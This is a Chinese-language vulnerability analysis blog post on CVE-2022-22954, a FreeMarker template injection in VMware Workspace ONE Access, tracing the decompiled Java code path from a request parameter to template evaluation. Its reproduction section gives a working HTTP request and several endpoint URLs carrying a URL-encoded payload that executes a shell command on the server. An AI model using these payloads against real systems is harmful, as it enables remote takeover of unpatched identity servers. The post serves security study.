VMware Workspace ONE Access(CVE-2022-22954)漏洞分析

VMware Workspace ONE Access(CVE-2022-22954)漏洞分析

碎碎念

“像讓這個世界聽聽自己的意見”

環境搭建

導入ova的時候要設置下fqdn,配置數據庫就安裝完成了

image-20220922210513431

啓動腳本在/opt/vmware/horizon/workspace/bin目錄下

image-20220922211102767

setenv.sh中配置遠程調試:

image-20220922220102580

/usr/java/jre-vmware/bin/java -Djava.util.logging.config.file=/opt/vmware/horizon/workspace/conf/logging.properties -Djava.util.logging.manager=org.apache.juli.ClassLoaderLogManager -server -Djdk.tls.ephemeralDHKeySize=2048 -XX:+AggressiveOpts -Dliquibase.should.run=true -Djavax.net.ssl.trustStore=/usr/local/horizon/conf/idm-cacerts -Dset.rmi.server.hostname=true -Dvertx.disableFileCPResolving=true -XX:MaxMetaspaceSize=768m -XX:MetaspaceSize=768m -Xss1m -Xmx3968m -Xms3968m -XX:+UseParallelGC -XX:+UseParallelOldGC -XX:NewRatio=3 -XX:SurvivorRatio=12 -Dorg.apache.xml.security.ignoreLineBreaks=true -XX:+DisableExplicitGC -XX:+UseBiasedLocking -XX:-LoopUnswitching -Djava.security.properties=/opt/vmware/horizon/workspace/conf/idm_fips.security -Djdk.tls.namedGroups=secp521r1,secp384r1,secp256r1 -Didm.fips.mode.required=true -Dorg.bouncycastle.fips.approved_only=true -agentlib:jdwp=transport=dt_socket,server=y,suspend=y,address=5005 -Djdk.tls.ephemeralDHKeySize=2048 -Djava.protocol.handler.pkgs=org.apache.catalina.webresources -Dorg.apache.catalina.security.SecurityListener.UMASK=0027 -Dignore.endorsed.dirs= -classpath /usr/local/horizon/jre-endorsed/bc-fips-1.0.2.1.jar:/usr/share/tomcat/bin/bootstrap.jar:/usr/share/tomcat/bin/tomcat-juli.jar -Dcatalina.base=/opt/vmware/horizon/workspace -Dcatalina.home=/usr/share/tomcat -Djava.io.tmpdir=/opt/vmware/horizon/workspace/temp org.apache.catalina.startup.Bootstrap start
iptables -I INPUT -p tcp --dport 5005 -j ACCEPT

開放防火牆策略

模板注入漏洞分析

漏洞分析

定位到漏洞點中

image-20220923104618750

/Users/nice0e3/Desktop/漏洞調試/webapps/catalog-portal/WEB-INF/lib/endusercatalog-ui-1.0-SNAPSHOT-classes.jar!/templates/customError.ftl中使用freemarker的eval語法渲染errorObj

https://freemarker.apache.org/docs/ref_builtins_expert.html#ref_builtin_eval

com.vmware.endusercatalog.ui.web.UiErrorController#handleGenericError,會使用customError.ftl的模板進行渲染

image-20220923115332442

尋找調用com.vmware.endusercatalog.ui.web.UiErrorController#handleGenericError的地方,發現在com.vmware.endusercatalog.ui.web.UiErrorController#sendError調用

image-20220923115609245

但這裏的errorMessage是從request.getAttribute("javax.servlet.error.message");獲取過來的,會導致這裏的errorMessage的內容並不可控。

下面來尋找javax.servlet.error.message可控位置

發現com.vmware.endusercatalog.ui.web.UiApplicationExceptionResolver#resolveException符合條件

image-20220923145854015

這裏javax.servlet.error.message可控,並且回調用返回/ui/view/error路由,完成後面的串聯。

image-20220923152307681

handleHttpMediaTypeNotAcceptableExceptionhandleAnyGenericException對應的都是全局異常的處理過程

image-20220923152430854

但該全局異常處理只作用於UIController.class, HubUIController.class, WorkspaceOauth2CodeVerificationController.class中,在這三個類中,異常處理會走入到com.vmware.endusercatalog.ui.web.UiApplicationExceptionResolver#handleAnyGenericException方法中

image-20220923153454793

這裏傳遞異常對象,去獲取異常信息,然後調用createErrorJson去轉化成json格式。

下面需要繼續去尋找msgArgs中可控位置,也就是異常信息。

com.vmware.endusercatalog.ui.UiApplication類中自動裝載

@Configuration
@EnableAutoConfiguration(
    exclude = {HazelcastAutoConfiguration.class, HibernateJpaAutoConfiguration.class, RedisAutoConfiguration.class, RedisRepositoriesAutoConfiguration.class, DataSourceAutoConfiguration.class}
)
@ComponentScan(
    basePackages = {"com.vmware.endusercatalog.localization", "com.vmware.endusercatalog.auth", "com.vmware.endusercatalog.cache.engine.config", "com.vmware.endusercatalog.cache.client.config", "com.vmware.endusercatalog.cache.client.stats", "com.vmware.endusercatalog.cache.seed", "com.vmware.endusercatalog.persistence.engine.seed", "com.vmware.endusercatalog.adapters", "com.vmware.endusercatalog.mdm", "com.vmware.endusercatalog.workspace", "com.vmware.endusercatalog.okta", "com.vmware.endusercatalog.db", "com.vmware.endusercatalog.repositories", "com.vmware.endusercatalog.toggles", "com.vmware.endusercatalog.ui", "com.vmware.endusercatalog.adapters", "com.vmware.endusercatalog.console.web", "com.vmware.endusercatalog.hub.ui.web", "com.vmware.endusercatalog.security", "com.vmware.endusercatalog.cache.client", "com.vmware.endusercatalog.api.web.common", "com.vmware.endusercatalog.utils", "com.vmware.endusercatalog.multihub.service"}
)
@EnableAspectJAutoProxy
public class UiApplication {
    public UiApplication() {
    }

    public static void main(String[] args) {
        String[] newArray = ClArgumentsParser.addDisableCheckForFreeMarkerTemplateLocation(args);
        ClArgumentsParser.addCliConfigToParentClasspath("eucConfig", newArray);
        (new SpringApplicationBuilder(new Class[]{UiApplication.class})).run(newArray);
    }
}

再來看到com.vmware.endusercatalog.ui.config.WebConfig,配置/ui, /hub-ui, /hub-ui/byob, /logout, /ui/oauth/verify走該攔截器

image-20220923173948582

com.vmware.endusercatalog.auth.interceptor.AuthContextPopulationInterceptor

image-20220923145753843

image-20220923154810243

image-20220923154852642

前面獲取deviceUdiddeviceTypeauthContextBuilder.build();

 public AuthContext build() {
            return new AuthContext(this);
        }
 AuthContext(Builder builder) {
        if (!StringUtils.hasText(builder.tenantCode)) {
            throw new InvalidAuthContextException(new Object[0]);
        } else {
            this.deviceId = StringUtils.hasText(builder.deviceId) ? builder.deviceId : null;
            this.deviceType = StringUtils.hasText(builder.deviceType) ? builder.deviceType : null;
            this.tenantCode = StringUtils.lowerCase(builder.tenantCode);
            this.authorizationToken = StringUtils.hasText(builder.authorizationToken) ? builder.authorizationToken : null;
            this.baseUrl = (String)StringUtils.defaultIfBlank(builder.baseUrl, (CharSequence)null);
            this.authorizationTokenRevoked = builder.authorizationTokenRevoked;
            this.userAgent = builder.userAgent;
            this.locale = builder.locale;
            this.authAdapter = builder.authAdapter;
            this.multiHubSupportedDevice = builder.multiHubSupportedDevice;
            if (!this.isValidRequest()) {
                throw new InvalidAuthContextException(new Object[]{this.tenantCode, this.deviceId, this.deviceType, this.authorizationTokenRevoked});
            }
        }
    }

下面有個this.isValidRequest()判斷

public boolean isNativeAppRequestWithAuthToken() {
        return this.isRequestWithDeviceParams() && this.hasAuthorizationToken();
    }
 private boolean isRequestWithDeviceParams() {
        return this.deviceId != null && this.deviceType != null;
    }

判斷deviceIddeviceType參數不爲空,

 throw new InvalidAuthContextException(new Object[]{this.tenantCode, this.deviceId, this.deviceType, this.authorizationTokenRevoked});

最後面返回一個異常

下面來看看spring mvc的處理

image-20220923155553763

在springmvc中handle處理完成後走到這個位置,將異常信息處理給this.processDispatchResult的下一次調用

image-20220923155713184

org.springframework.web.servlet.DispatcherServlet#processHandlerException方法中會處理handle異常的一些處理

image-20220923143038226

protected ModelAndView processHandlerException(HttpServletRequest request, HttpServletResponse response, @Nullable Object handler, Exception ex) throws Exception {
    request.removeAttribute(HandlerMapping.PRODUCIBLE_MEDIA_TYPES_ATTRIBUTE);
    ModelAndView exMv = null;
    if (this.handlerExceptionResolvers != null) {
        Iterator var6 = this.handlerExceptionResolvers.iterator();

        while(var6.hasNext()) {
            HandlerExceptionResolver resolver = (HandlerExceptionResolver)var6.next();
            exMv = resolver.resolveException(request, response, handler, ex);
            if (exMv != null) {
                break;
            }
        }
    }

代碼中遍歷spring 中配置的一些異常轉換器進行調用resolveException方法

然後後面spring 的一些反射調用來來到com.vmware.endusercatalog.ui.web.UiApplicationExceptionResolver#handleAnyGenericException

image-20220923161118860

漏洞復現

根據上文梳理一下,請求路由需要爲UIController.class, HubUIController.class, WorkspaceOauth2CodeVerificationController.class其中一個類,傳遞errordeviceUdid參數,使其能走到異常中,這幾個類的異常會走到com.vmware.endusercatalog.ui.web.UiApplicationExceptionResolver#handleAnyGenericException中類處理異常,並將異常信息request.setAttribute("javax.servlet.error.message", errorJson);,設置完成後返回/ui/view/error,來到/ui/view/error路由這邊,調用request.getAttribute("javax.servlet.error.message");, /ui/view/error的路由方法調用getErrorPage-> this.handleGenericError,將前面獲取到的異常信息調用model.put("errorObj", errorMessage);,最後面返回customError,進行freemark模塊渲染,customError.ftl,模塊中的errorObj?eval會將errorObj內容執行。

GET /catalog-portal/ui/oauth/verify?error=1111&deviceUdid=%24%7b%22%66%72%65%65%6d%61%72%6b%65%72%2e%74%65%6d%70%6c%61%74%65%2e%75%74%69%6c%69%74%79%2e%45%78%65%63%75%74%65%22%3f%6e%65%77%28%29%28%22%69%64%22%29%7d HTTP/1.1
Host: test.test.local
Connection: close
sec-ch-ua: "Google Chrome";v="105", "Not)A;Brand";v="8", "Chromium";v="105"
Accept: application/json, text/javascript, */*; q=0.01
X-Requested-With: XMLHttpRequest
sec-ch-ua-mobile: ?0
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36
sec-ch-ua-platform: "macOS"
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: https://test.test.local/SAAS/admin/roles
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9

/catalog-portal/ui?code=1&state=1&error=1111&deviceUdid=%24%7b%22%66%72%65%65%6d%61%72%6b%65%72%2e%74%65%6d%70%6c%61%74%65%2e%75%74%69%6c%69%74%79%2e%45%78%65%63%75%74%65%22%3f%6e%65%77%28%29%28%22%69%64%22%29%7d

/catalog-portal/hub-ui?code=1&state=1&error=1111&deviceUdid=%24%7b%22%66%72%65%65%6d%61%72%6b%65%72%2e%74%65%6d%70%6c%61%74%65%2e%75%74%69%6c%69%74%79%2e%45%78%65%63%75%74%65%22%3f%6e%65%77%28%29%28%22%69%64%22%29%7d

/catalog-portal/ui/oauth/verify?error=1111&deviceUdid=%24%7b%22%66%72%65%65%6d%61%72%6b%65%72%2e%74%65%6d%70%6c%61%74%65%2e%75%74%69%6c%69%74%79%2e%45%78%65%63%75%74%65%22%3f%6e%65%77%28%29%28%22%69%64%22%29%7d

/catalog-portal/hub-ui/byob?code=1&state=1&error=1111&deviceUdid=%24%7b%22%66%72%65%65%6d%61%72%6b%65%72%2e%74%65%6d%70%6c%61%74%65%2e%75%74%69%6c%69%74%79%2e%45%78%65%63%75%74%65%22%3f%6e%65%77%28%29%28%22%69%64%22%29%7d

image-20220923171407477

/opt/vmware/horizon/workspace/webapps/catalog-portal/

參考

CVE-2022-22954 VMware Workspace ONE Access Server-side Template Injection RCE

結尾

挺有意思的一個漏洞,受益頗多

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章